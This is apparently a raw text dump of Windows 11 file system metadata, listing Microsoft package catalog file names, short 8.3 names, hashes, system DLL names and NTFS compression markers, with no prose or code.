gMicrosoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat 63FF8E~1.CAT 63ff8e856368255e3f31802e9e425de6f3f94b2d243d0e9b895c0725c41595f5.cat WofCompressedData $DSC WofCompressedData $DSC NMicrosoft-Windows-ConfigCI-Package~31bf3856ad364e35~amd64~~10.0.26100.3323.cat NMicrosoft-Windows-ConfigCI-Package~31bf3856ad364e35~amd64~~10.0.26100.3323.cat 64250A~1.CAT 64250a124d24c03ab28fa7da4c4e4e9d922ac20fde94eccb62b107024c67336d.cat WofCompressedData $DSC fMicrosoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat fMicrosoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat 69CFEE~1.CAT 69cfeef52e0d8630b0343511e134e387e5d8e57d54fa74c774caeab2e631d5d6.cat WofCompressedData $DSC aMicrosoft-Windows-CoreSystem-Security-UserMgr-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat aMicrosoft-Windows-CoreSystem-Security-UserMgr-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat 69E1AF~1.CAT 69e1afe81cde5428960dce092c48e5c3433e3f27951525bb079b18daa7f205de.cat WofCompressedData $DSC nMicrosoft-Windows-ApiSetSchemaExtension-HyperV-ComputeNetwork-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat nMicrosoft-Windows-ApiSetSchemaExtension-HyperV-ComputeNetwork-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 6A0211~1.CAT 6a02113244d5b956fd76281f76fe1046cebc0e3069d0d02a721ed951cf2e2397.cat WofCompressedData $DSC $DSC WMicrosoft-Windows-msmq-triggers-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 WMicrosoft-Windows-msmq-triggers-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat 6A21CC~1.CAT 6a21ccfa50d9730b140a8db45cd2a9a02f9f1b4958bde0a046c1c8ebe0f85a8a.cat WofCompressedData $DSC WofCompressedData $DSC WofCompressedData QMicrosoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.26100.1742.cat MI6F84~1.CAT ompressedData D6B1B4~1.CAT d6b1b42703fef95df3374f39bdcf4dc89764105afc54bfcae66dc00240132545.cat WofCompressedData $DSC WofCompressedData QMicrosoft-Windows-ProfessionalEdition~31bf3856ad364e35~amd64~~10.0.26100.7840.cat MI626D~1.CAT ompressedData D6D1BF~1.CAT d6d1bfb36587dd515ed4208d1748e90d98bde4c67513ba14c44aff391a90769c.cat WofCompressedData $DSC WofCompressedData WMicrosoft-Windows-Telnet-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat0 MI4201~1.CAT WofCompressedData DF7347~1.CAT df7347bd2f8b91755fb3701f981fb287fcef413f5b3c1f3ca73add09ee545a86.cat WofCompressedData $DSC WofCompressedData WMicrosoft-Windows-Telnet-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat0 MIF0A6~1.CAT WofCompressedData DF76C2~1.CAT df76c2f9d14cf1d380e13ae64fa99c5ab90377bac6b7a5a4bd97da212345ca41.cat WofCompressedData $DSC E14C09~1.CAT e14c09c062b68909c56e1ba09b50e81ceaf7cd67ef46025b4f0db11e6464768e.cat WofCompressedData $DSC WofCompressedData bMicrosoft-Windows-TFTP-Client-FOD-Package-Wrapper~31bf3856ad364e35~amd64~en-US~10.0.26100.7824.cat MIE78C~1.CAT WofCompressedData E1AA8E~1.CAT e1aa8ee0aad20e5f98bea18c9bfbfc8b9f059fb112661494d6d2344b66c1e961.cat WofCompressedData $DSC WofCompressedData ]Microsoft-Windows-TFTP-Client-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat MI093E~1.CAT WofCompressedData E29892~1.CAT e2989208396ab54623f47197991b3815c8e37f870db77999f973301646a59425.cat WofCompressedData $DSC WofCompressedData UMicrosoft-Windows-TFTP-Client-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat MI4CC0~1.CAT WofCompressedData E301CE~1.CAT e301cefd80757966515e5a728d68fcde84579b92061d3b881060d662f6e4e4b0.cat WofCompressedData $DSC WofCompressedData SMicrosoft-Windows-TFTP-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 MIB7D9~1.CAT ompressedData agrsm64.sys WofCompressedData $DSC ahcache.sys $DSC $DSC ahcache.sys0 ahcache.sys WofCompressedData $DSC amdwps.sys amdwps.sys amdwps.sys WofCompressedData $DSC WofCompressedData $DSC IMicrosoft-OneCore-LSA-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat IMicrosoft-OneCore-LSA-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat hMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat hMicrosoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat `Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat `Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat aMicrosoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat aMicrosoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat _Microsoft-Windows-CoreSystem-WinTrust-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 _Microsoft-Windows-CoreSystem-WinTrust-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat \Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat $DSC RMicrosoft-Windows-msmq-mmc-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat RMicrosoft-Windows-msmq-mmc-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat uMicrosoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat uMicrosoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat $DSC _HyperV-Compute-System-VirtualMachine-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat0 _HyperV-Compute-System-VirtualMachine-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat xMicrosoft-Windows-UpdateTargeting-ClientOS-Ge-26142-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat xMicrosoft-Windows-UpdateTargeting-ClientOS-Ge-26142-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat $DSC `Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat `Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat YMicrosoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat YMicrosoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat `Microsoft-Windows-TS-Optional-Client-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat `Microsoft-Windows-TS-Optional-Client-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat WMicrosoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat0 WMicrosoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat $DSC WofCompressedData $DSC PRunlevel-Win1-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat PRunlevel-Win1-WOW64-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-OneCore-Miracast-Transmitter-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-OneCore-Miracast-Transmitter-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat aMicrosoft-Windows-Spelling-Dictionaries-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat aMicrosoft-Windows-Spelling-Dictionaries-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat 10F5F0~1.CAT 10f5f0659a40037693f212ceb312ba2ad06ed45e69952bf1ddca63cb19836b88.cat WofCompressedData $DSC WWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat0 WWindows-ClientCore-Win32Bridge-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat $DSC WMicrosoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 WMicrosoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat $DSC jMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6725.cat jMicrosoft-Windows-CoreSystem-BootableSKU-Winlogon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6725.cat $DSC mMicrosoft-Windows-GroupPolicy-ClientExtensions-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat f5003d4e1f9e463fc5b3660fa99eca220bf5d.cat $DSC VRunlevel-Win2-Minimal-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat VRunlevel-Win2-Minimal-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat $DSC WofCompressedData $DSC HRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat HRunlevel-Win4-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat kMicrosoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat0 kMicrosoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat fMicrosoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat fMicrosoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat pMicrosoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat pMicrosoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat aMicrosoft-OneCore-EventLog-RequiredConfiguration-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat aMicrosoft-OneCore-EventLog-RequiredConfiguration-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat 1C0964~1.CAT 1c0964387e708a8fc52d742d542da80ffd3afd7954042313f1136be4de1150e4.cat WofCompressedData $DSC WofCompressedData $DSC SMicrosoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 SMicrosoft-Windows-Lxss-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat cMicrosoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 cMicrosoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat lMicrosoft-Windows-Product-Data-Ge-26142-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat lMicrosoft-Windows-Product-Data-Ge-26142-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat ZMicrosoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat ZMicrosoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat UMicrosoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat UMicrosoft-Windows-msmq-server-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat $DSC ]Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat ]Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat WofCompressedData $DSC GHyperV-UX-UI-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat0 GHyperV-UX-UI-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat $DSC ]Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat ]Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat WofCompressedData $DSC SMicrosoft-OneCore-CimFS-UnionFS-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 SMicrosoft-OneCore-CimFS-UnionFS-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat gMicrosoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat0 gMicrosoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat ]Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat ]Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat dMicrosoft-Windows-Kernel-Package-HAL-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat dMicrosoft-Windows-Kernel-Package-HAL-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat `Microsoft-Windows-ErrorReportingFaults-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat `Microsoft-Windows-ErrorReportingFaults-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat UMicrosoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat UMicrosoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat $DSC ^Microsoft-OneCore-Pnp-RuntimeDeviceInstall-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ^Microsoft-OneCore-Pnp-RuntimeDeviceInstall-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat $DSC VMicrosoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat VMicrosoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat |Microsoft-Windows-Kernel-Package-DebuggerTransport-Single-NIC-Debug-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat |Microsoft-Windows-Kernel-Package-DebuggerTransport-Single-NIC-Debug-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat rMicrosoft-Windows-Kernel-Package-Kernel-Processor-Power-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.3037.cat rMicrosoft-Windows-Kernel-Package-Kernel-Processor-Power-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.3037.cat $DSC aMicrosoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat aMicrosoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat $DSC ]Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ]Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat ]Microsoft-Windows-Kernel-Package-CNG-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat ]Microsoft-Windows-Kernel-Package-CNG-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat WofCompressedData $DSC OMicrosoft-OneCore-DebugCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 OMicrosoft-OneCore-DebugCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat eMicrosoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat eMicrosoft-Windows-CoreSystem-RemoteFS-Server-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat wMicrosoft-Windows-Kernel-Package-Kernel-Power-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat0 wMicrosoft-Windows-Kernel-Package-Kernel-Power-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat $DSC eMicrosoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat eMicrosoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat gMicrosoft-Windows-Kernel-Package-System-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat0 gMicrosoft-Windows-Kernel-Package-System-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat WofCompressedData $DSC OMicrosoft-OneCore-LSA-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 OMicrosoft-OneCore-LSA-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat [Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 [Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat `Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat `Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat kMicrosoft-Windows-Kernel-Package-SleepStudy-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat0 kMicrosoft-Windows-Kernel-Package-SleepStudy-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat dMicrosoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat dMicrosoft-Windows-Platformrecords-PlutonFirmware-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat aMicrosoft-Windows-Kernel-Package-BootRes-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat aMicrosoft-Windows-Kernel-Package-BootRes-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat [Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat0 [Microsoft-Windows-Basic-Http-Minio-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat dMicrosoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat dMicrosoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat nMicrosoft-Windows-Kernel-Package-HAL-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat nMicrosoft-Windows-Kernel-Package-HAL-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat lMicrosoft-Windows-Kernel-Package-System-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.6725.cat lMicrosoft-Windows-Kernel-Package-System-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.6725.cat _Microsoft-Windows-CoreSystem-WinTrust-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat0 _Microsoft-Windows-CoreSystem-WinTrust-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat _Microsoft-Windows-Kernel-Package-Ntdll-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat0 _Microsoft-Windows-Kernel-Package-Ntdll-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat bMicrosoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat bMicrosoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat aMicrosoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat aMicrosoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat cMicrosoft-Windows-Kernel-Package-Battery-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat0 cMicrosoft-Windows-Kernel-Package-Battery-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat ]Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat ]Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat hMicrosoft-Windows-Kernel-Package-Battery-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat hMicrosoft-Windows-Kernel-Package-Battery-Events-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3912.cat nMicrosoft-Windows-Kernel-Package-Pdc-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat nMicrosoft-Windows-Kernel-Package-Pdc-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat iMicrosoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat iMicrosoft-Windows-Kernel-Package-System-Counters-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat $DSC bMicrosoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6899.cat bMicrosoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6899.cat YMicrosoft-Windows-BootEnvironment-Dvd-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat YMicrosoft-Windows-BootEnvironment-Dvd-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat gMicrosoft-Windows-Kernel-Package-CodeIntegrity-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat0 gMicrosoft-Windows-Kernel-Package-CodeIntegrity-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat oMicrosoft-Windows-Kernel-Package-Cryptography-SymCrypt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat0 oMicrosoft-Windows-Kernel-Package-Cryptography-SymCrypt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat aMicrosoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat aMicrosoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat bMicrosoft-Windows-Foundation-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat bMicrosoft-Windows-Foundation-Win0-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat 412CA2~1.CAT 412ca20a25a6deec41097bb1d126bd189045130f08408f7ffa8666a7bdd88052.cat WofCompressedData $DSC dssenh.dll $DSC $DSC 48304E~1.CAT 48304e06e6f6d803b088f0231b114c2554eab148786f638d6940b505f6f18323.cat WofCompressedData $DSC dui70.dll WofCompressedData $DSC 4F0B04~1.CAT 4f0b04cd60852d299e2300dd08c71b3d3ad0d9548b509ad80ead7cc0482ea2e8.cat WofCompressedData $DSC dwmapi.dll dwmapi.dll WofCompressedData $DSC 4F3C8A~1.CAT 4f3c8aee232f6087878f4515b358545d4db3448b049cdfe91d058d47e0c73db8.cat WofCompressedData $DSC DWrite.dll WofCompressedData $DSC 4F8E60~1.CAT 4f8e60471da6c97077c91cf3470961abd0104766ab41556b82f6ec928f746786.cat WofCompressedData $DSC DWrite.dll DWrite.dll WofCompressedData $DSC 51E215~1.CAT 51e2153b6d7bd59c78c4d432c27b8a31df1127b3bb576304e3d99ed0916f20e1.cat WofCompressedData $DSC dxgwdi.dll dxgwdi.dll WofCompressedData $DSC 6BFEF3~1.CAT 6bfef3008c8d37ec1609f181c08f3384c87f6a70f0e5a87c1cd4ac5e258308bf.cat $DSC eapprovp.dll $DSC $DSC 6F7C26~1.CAT 6f7c263d3405da3ac08efd0355ca9dba66d5ee79fab68d338b9174c93f542b28.cat WofCompressedData $DSC eapputil.dll $DSC $DSC 7A5BB4~1.CAT 7a5bb41d6a3aba415e33eb3b070b214e26af32017a97352fdadf61ac66d91386.cat WofCompressedData $DSC EAPTEA~2.DLL EapTeapConfig.dll $DSC $DSC 7ABED4~1.CAT 7abed4a207581bc8fe1ebd723f7e61605aebf5eca2f9b5857918d8dc45277780.cat WofCompressedData $DSC edgeIso.dll0 edgeIso.dll WofCompressedData $DSC 7C7558~1.CAT 7c7558b51a6222d69d8f259039afd8c44b6484b044b6c4d2c03381ecda0df5f9.cat $DSC edgeIso.dll $DSC $DSC 7CD6BA~1.CAT 7cd6ba74dfb113d290de65107c8cc1f83d9810df3459dcbf1be51abce25b4c9a.cat WofCompressedData $DSC efscore.dll0 efscore.dll WofCompressedData $DSC 814690~1.CAT 81469088c9a9908ee24fb165423d8cbe4f834ce513f63d152d0a4ae9628d4d4d.cat WofCompressedData $DSC EFSLSA~1.DLL efslsaext.dll efslsaext.dll WofCompressedData $DSC 81CDB8~1.CAT 81cdb8f4d7ea76bb6d9c09290e7a0e72cea052efe43097c267ca18e2424215eb.cat WofCompressedData $DSC efssvc.dll $DSC $DSC A6B120~1.CAT a6b1209e15f949a8b9233c623a0b8c48ccf9a5458258294460a52cc2070fe15c.cat WofCompressedData $DSC EXTEND~1.DLL ExtendedSecurityUpdatesAI.dll WofCompressedData $DSC AAD664~1.CAT aad664d34d3ce47be4a8666a42158356648af31466bd5a1a6ff74827bb36f8bd.cat WofCompressedData $DSC EXTEND~1.DLL ExtendedSecurityUpdatesAI.dll WofCompressedData $DSC B99756~1.CAT b99756e08f6d0d2a84905bbc987834812002c4aa0895140178f5abd558b776b9.cat WofCompressedData $DSC fastprox.dll fastprox.dll WofCompressedData $DSC $DSC BD1233~1.CAT bd1233db7f8dc5f65d51eef43fc556a6e6bc4753cba26c5e651342fe870bc942.cat WofCompressedData $DSC fastprox.dll WofCompressedData $DSC C93A06~1.CAT c93a0655760501acc7e5ee1b67098aaeb9fc99fb8ba52a0fcaf9790c7325dd77.cat WofCompressedData $DSC FEATUR~1.DLL FeatureSettingsOverride.dll WofCompressedData $DSC CC104A~1.CAT cc104a4c50d542ded7da9fc5554533a1f32d2537a8974d14d9e93d27f854673b.cat $DSC FEATUR~1.DLL FeatureSettingsOverride.dll WofCompressedData $DSC CF4B92~1.CAT cf4b92b8d1f5de9224e5443698d2e9d356128167e8599bd078fccd5d3024f8c6.cat $DSC feclient.dll feclient.dll WofCompressedData $DSC $DSC D02ADE~1.CAT d02ade6e3a0d2e95c45ad737a2f45e962038a8047e5cda139218aea50be967f7.cat WofCompressedData $DSC feclient.dll $DSC $DSC D6220B~1.CAT d6220b679d9ca8c79cd1ca0ec26db672ae8f46b8bf0b208fabdb864c9e446965.cat WofCompressedData $DSC FirewallAPI.dll0 FIREWA~1.DLL FirewallAPI.dll WofCompressedData $DSC $DSC DA7497~1.CAT da74978279d20e7162e7dc9194a250b38eda1ea1f5bcd9acc01fdb77441f8b8d.cat WofCompressedData $DSC FIREWA~1.DLL FirewallAPI.dll WofCompressedData $DSC DF900E~1.CAT df900e28b1c8e7f8e75020274b8cf38cdaa0c03d76749dae0674cf088da09769.cat WofCompressedData $DSC FIREWA~1.DLL FirewallOfflineAPI.dll WofCompressedData $DSC E00D8D~1.CAT e00d8d7707c72fbe41acc48fc3e4587433f2dccc51117641551b8740383c0be4.cat $DSC FIREWA~1.DLL FirewallOfflineAPI.dll WofCompressedData $DSC E4B58D~1.CAT e4b58d721a73cdc4ce8b48b1719e08cfde52deeb8ad965be47276db7f3bea779.cat WofCompressedData $DSC fltLib.dll fltLib.dll WofCompressedData $DSC $DSC E4D0C7~1.CAT e4d0c7146983efeffd163b8688d8772eaa57b13819e135afa1c67698dff3fb11.cat WofCompressedData $DSC fltLib.dll $DSC $DSC F2F08B~1.CAT f2f08b0e394536ed09f94e25bd3e3048ea24de2eb86d595361ab19a65115411c.cat WofCompressedData $DSC FOLDER~1.DLL FolderProvider.dll $DSC $DSC F546C0~1.CAT f546c0555c693a9f258d10902e67b62a60953a00e4e4b6f6928d7914c8d6d904.cat WofCompressedData $DSC FOLDER~1.DLL FolderProvider.dll $DSC $DSC `Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat `Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat ^Microsoft-OneCore-SecureStartup-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat ^Microsoft-OneCore-SecureStartup-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat ZMicrosoft-OneCore-UtilityVm-SetupAgent-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat ZMicrosoft-OneCore-UtilityVm-SetupAgent-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat WofCompressedData $DSC 